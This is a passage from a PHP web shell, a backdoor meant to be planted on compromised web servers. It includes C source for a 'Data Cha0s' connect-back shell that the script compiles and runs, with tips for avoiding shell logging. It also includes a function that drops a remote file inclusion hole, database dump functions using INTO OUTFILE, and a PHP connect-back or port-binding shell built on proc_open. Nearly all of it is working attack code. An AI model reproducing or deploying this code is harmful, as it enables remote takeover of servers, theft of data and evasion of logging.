\"GLOBALS\")) {". " @print_globals( \$v.\"[\".\$key.\"]\" );". "}}"; eval($q); echo "</blockquote>\n";}####################################################################### connect back shell function######################################################################function connect_back($tmp_dir, $compiler, $host, $port) { $shell = "#include <stdio.h>\n" . "#include <sys/socket.h>\n" . "#include <netinet/in.h>\n" . "#include <arpa/inet.h>\n" . "#include <netdb.h>\n" . "int main(int argc, char **argv) {\n" . " char *host;\n" . " int port = 80;\n" . " int f;\n" . " int l;\n" . " int sock;\n" . " struct in_addr ia;\n" . " struct sockaddr_in sin, from;\n" . " struct hostent *he;\n" . " char msg[ ] = \"Welcome to Data Cha0s Connect Back Shell\\n\\n\"\n" . " \"Issue \\\"export TERM=xterm; exec bash -i\\\"\\n\"\n" . " \"For More Reliable Shell.\\n\"\n" . " \"Issue \\\"unset HISTFILE; unset SAVEHIST\\\"\\n\"\n" . " \"For Not Getting Logged.\\n(;\\n\\n\";\n" . " printf(\"Data Cha0s Connect Back Backdoor\\n\\n\");\n" . " if (argc < 2 || argc > 3) {\n" . " printf(\"Usage: %s [Host] <port>\\n\", argv[0]);\n" . " return 1;\n" . " }\n" . " printf(\"[*] Dumping Arguments\\n\");\n" . " l = strlen(argv[1]);\n" . " if (l <= 0) {\n" . " printf(\"[-] Invalid Host Name\\n\");\n" . " return 1;\n" . " }\n" . " if (!(host = (char *) malloc(l))) {\n" . " printf(\"[-] Unable to Allocate Memory\\n\");\n" . " return 1;\n" . " }\n" . " strncpy(host, argv[1], l);\n" . " if (argc == 3) {\n" . " port = atoi(argv[2]);\n" . " if (port <= 0 || port > 65535) {\n" . " printf(\"[-] Invalid Port Number\\n\");\n" . " return 1;\n" . " }\n" . " }\n" . " printf(\"[*] Resolving Host Name\\n\");\n" . " he = gethostbyname(host);\n" . " if (he) {\n" . " memcpy(&ia.s_addr, he->h_addr, 4);\n" . " } else if ((ia.s_addr = inet_addr(host)) == INADDR_ANY) {\n" . " printf(\"[-] Unable to Resolve: %s\\n\", host);\n" . " return 1;\n" . " }\n" . " sin.sin_family = PF_INET;\n" . " sin.sin_addr.s_addr = ia.s_addr;\n" . " sin.sin_port = htons(port);\n" . " printf(\"[*] Connecting...\\n\");\n" . " if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {\n" . " printf(\"[-] Socket Error\\n\");\n" . " return 1;\n" . " }\n" . " if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) != 0) {\n" . " printf(\"[-] Unable to Connect\\n\");\n" . " return 1;\n" . " }\n" . " printf(\"[*] Spawning Shell\\n\");\n" . " f = fork( );\n" . " if (f < 0) {\n" . " printf(\"[-] Unable to Fork\\n\");\n" . " return 1;\n" . " } else if (!f) {\n" . " write(sock, msg, sizeof(msg));\n" . " dup2(sock, 0);\n" . " dup2(sock, 1);\n" . " dup2(sock, 2);\n" . " execl(\"/bin/sh\", \"shell\", NULL);\n" . " close(sock);\n" . " return 0;\n" . " }\n" . " printf(\"[*] Detached\\n\\n\");\n" . " return 0;\n" . "}\n"; $fbname = $tmp_dir . "/cbs"; $fp = fopen($fbname . ".c", "w"); $write = fwrite($fp, $shell); fclose($fp); if(!empty($write)) { $command = $compiler . " -o " . $fbname . " " . $fbname . ".c"; $execM = test_cmd_shell(); if($execM > 0) { $rtval = Mexec($command, $execM); $command = $fbname . " " . $host . " " . $port; $rtval .= Mexec($command, $execM); return "<pre>" . $rtval . "</pre>"; } else { return "<b>ERROR! No EXEC Avilable!</b>"; } } else { return "<b>ERROR! Writing data!</b>"; }}####################################################################### drop mini inc hole######################################################################function dropminiinc($location) { $Scode = "<?php\n". "if (phpversion() <= '4.1.0') \$vars = array_merge(\$HTTP_GET_VARS, \$HTTP_POST_VARS);\n". "else \$vars = \$_REQUEST;\n". "include(\$vars[inc]);\n". "?>\n"; $fp = fopen($location, "w"); $write = fwrite($fp, $Scode); if(!empty($write)) return "<b>$location</b> copied\n"; else return "<b>ERROR! Not copied!</b>";}####################################################################### db functions# unchanged from dans code######################################################################function prep_rows($myresult) { $dataout = "<table>\n"; $num_fields = mysql_num_fields($myresult); $dataout .= "<tr border=1>\n"; for($i=0; $i<$num_fields; $i++) $dataout .= "<td>" . mysql_field_name($myresult, $i) . "</td>"; $dataout .= "</tr>\n"; while ($line = mysql_fetch_array($myresult, MYSQL_ASSOC)) { $dataout .= "<tr>\n"; foreach($line as $colvalue) { $dataout .= "<td>$colvalue</td>\n"; } $dataout .= "</tr>\n"; } $dataout .= "</table>\n"; return $dataout;}function dump_rows($myhost, $myuser, $mypass, $mydb, $mytable, $mydump) { $link = mysql_connect($myhost, $myuser, $mypass); // or return "Could not connect"; mysql_select_db($mydb); // or return "Could not select database"; $query = "SELECT * FROM ".$mytable." INTO OUTFILE \"".$mydump."\";"; $result = mysql_query($query); // or return "Query failed: ".mysql_error(); mysql_free_result($result); mysql_close($link); return "Hopefully dumped!";}function dump_query($myhost, $myuser, $mypass, $mydb, $mysql, $mydump) { $link = mysql_connect($myhost, $myuser, $mypass); // or return "Could not connect"; mysql_select_db($mydb); // or return "Could not select database"; $query = $mysql." INTO OUTFILE \"".$mydump."\";"; $result = mysql_query($query); // or return "Query failed: ".mysql_error(); mysql_free_result($result); mysql_close($link); return "Hopefully dumped!";}function display_query($myhost, $myuser, $mypass, $mydb, $mysql) { $link = mysql_connect($myhost, $myuser, $mypass); // or return "Could not connect"; mysql_select_db($mydb); // or return "Could not select database"; $query = $mysql; $result = mysql_query($query); // or return "Query failed: ".mysql_error(); $dataouted = prep_rows($result); mysql_free_result($result); mysql_close($link); return($dataouted);}function display_rows($myhost, $myuser, $mypass, $mydb, $mytable) { $link = mysql_connect($myhost, $myuser, $mypass); // or return "Could not connect"; mysql_select_db($mydb); // or return "Could not select database"; $query = "SELECT * FROM ".$mytable; $result = mysql_query($query); // or return "Query failed: ".mysql_error(); $dataouted = prep_rows($result); mysql_free_result($result); mysql_close($link); return($dataouted);}function display_tables($myhost, $myuser, $mypass, $mydb) { global $MyLoc,$SREQ; $link = mysql_connect($myhost, $myuser, $mypass); // or return "Could not connect"; $result = mysql_list_tables($mydb); if (!$result) { return "DB Error, could not list tables"; } $dataout = "<table>\n"; while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) { $dataout .= "<tr>\n"; foreach ($line as $col_value) { $dataout .= "<td><a href='$MyLoc?$SREQ&incdbhost=$myhost&incdbuser=$myuser&incdbpass=$mypass&incdbname=$mydb&incdbtable=$col_value'>$col_value</a></td>\n"; } $dataout .= "</tr>\n"; } $dataout .= "</table>\n"; mysql_free_result($result); mysql_close($link); return($dataout);}function display_dbs($myhost, $myuser, $mypass) { global $MyLoc,$SREQ; $link = mysql_connect($myhost, $myuser, $mypass); $result = mysql_list_dbs($link); if (!$result) { return "DB Error, could not list databases"; } $dataout = "<table>\n"; while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) { $dataout .= "<tr>\n"; foreach ($line as $col_value) { $dataout .= "<td><a href='$MyLoc?$SREQ&incdbhost=$myhost&incdbuser=$myuser&incdbpass=$mypass&incdbname=$col_value'>$col_value</a></td>\n"; } $dataout .= "</tr>\n"; } $dataout .= "</table>\n"; mysql_free_result($result); mysql_close($link); return($dataout);}function Odisplay_rows($myhost, $myuser, $mypass, $mydb, $mytable) { $link = odbc_connect($myhost, $myuser, $mypass); // or return "Could not connect"; $query = "SELECT * FROM ".$mytable; $result = odbc_exec($link, $query); // or return "Query failed: ".mysql_error(); $dataout = "<table>\n"; while ($line = odbc_fetch_row($result, MYSQL_ASSOC)) { $dataout = $dataout . "<tr>\n"; foreach($line as $colvalue) { $dataout = $dataout . "<td>$colvalue</td>\n"; } $dataout = $dataout . "</tr>\n"; } $dataout = $dataout . "</table>\n"; return($dataout);}function Odisplay_tables($myhost, $myuser, $mypass) { $link = odbc_connect($myhost, $myuser, $mypass); // or return "Could not connect"; $result = odbc_tables($link); if (!$result) { return "DB Error, could not list tables"; } $dataout = "<table>\n"; while ($line = odbc_fetch_row($result, MYSQL_ASSOC)) { if(odbc_result($line, 4) == "TABLE") { $dataout = $dataout . "<tr>\n"; $dataout = $dataout . "<td>" . odbc_result($tablelist, 3) ."</td>\n"; } $dataout = $dataout . "</tr>\n"; } $dataout = $dataout . "</table>\n"; return($dataout);}####################################################################### Dan's Network function Wrappers# Initial use inside this script, need to handle the error data # differently to get it included in the base 64 output!######################################################################function DB_NET_GET_SOCKET_PROTOCOL($prot) { switch($prot) { case "udp": $protocol = SOL_UDP; $socktype = SOCK_DGRAM; break; case "tcp": default: $protocol = SOL_TCP; $socktype = SOCK_STREAM; break; } return(array($protocol, $socktype));}function DB_NET_CONNECT($hostname, $port=80, $prot="tcp") { $address = gethostbyname($hostname); list($protocol, $socktype) = DB_NET_GET_SOCKET_PROTOCOL($prot); switch($prot) { case "udp": $protocol = SOL_UDP; $socktype = SOCK_DGRAM; break; case "tcp": default: $protocol = SOL_TCP; $socktype = SOCK_STREAM; break; } $socket = socket_create(AF_INET, $socktype, $protocol); if ($socket < 0) { echo "socket_create() failed: reason: " . socket_strerror($socket) . "\n"; } $result = socket_connect($socket, $address, $port); if ($result < 0) { echo "socket_connect() failed.\nReason: ($result) " . socket_strerror($result) . "\n"; } return $socket;}function DB_NET_LISTEN($address, $port) { if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) < 0) { echo "socket_create() failed: reason: " . socket_strerror($sock) . "\n"; return(-1); } if (($ret = socket_bind($sock, $address, $port)) < 0) { echo "socket_bind() failed: reason: " . socket_strerror($ret) . "\n"; return(-2); } if (($ret = socket_listen($sock, 5)) < 0) { echo "socket_listen() failed: reason: " . socket_strerror($ret) . "\n"; return(-3); } return($sock);}####################################################################### Dan's PHP Connect Back / Port Binding Shell!# Yes that right a REAL shell!# Now I had this idea for ages, finally coded it 6 months ago, and # it's never really been used.# Not really brain science but when there are many examples of PHP # sockets + proc_open it's a little harder.######################################################################function DB_Shell($type, $shell, $port, $host = "0.0.0.0") { if($type == "cb" && $host != "0.0.0.0") { $procsock = DB_NET_CONNECT($host, $port, "tcp"); } elseif ($type == "pb") { $lsock = DB_NET_LISTEN($host, $port); if (($procsock = socket_accept($lsock)) < 0) { return "socket_accept() failed: reason: " . socket_strerror($procsock) . "\n"; } } else { return "Error no connection details specified!"; } set_time_limit(9000); $descriptorspec = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $process = proc_open($shell, $descriptorspec, $pipes); if (is_resource($process)) { $tmp_loop = 1; do { $tmp_array = array($procsock); $num_changed_sockets = socket_select($tmp_array, $write = NULL, $except = NULL, 0); if ($num_changed_sockets === false) { $tmp_loop = 0; } else if ($num_changed_sockets > 0) { foreach($tmp_array as $k => $v) { if($v == $procsock) { if(socket_last_error($procsock) > 0) $tmp_loop = 0; if($tmp_loop == 1 && false == ($buf = socket_read($procsock, 2048, PHP_NORMAL_READ))) $tmp_loop = 0; fwrite($pipes[0], $buf); } } } $tmp_arrayS = array($pipes[1], $pipes[2]); $num_changed_streams = stream_select($tmp_arrayS, $write = NULL, $except = NULL, 0); if ($num_changed_streams === FALSE) { $tmp_loop = 0; } else if ($num_changed_streams > 0) { foreach($tmp_arrayS as $k => $v) { if($tmp_loop == 1 && false == ($buf = fread($v, 2048))) $tmp_loop = 0; socket_write($procsock, $buf, strlen($buf)); } } } while($tmp_loop == 1); } else { return "Error executing shell " . $shell; }}?>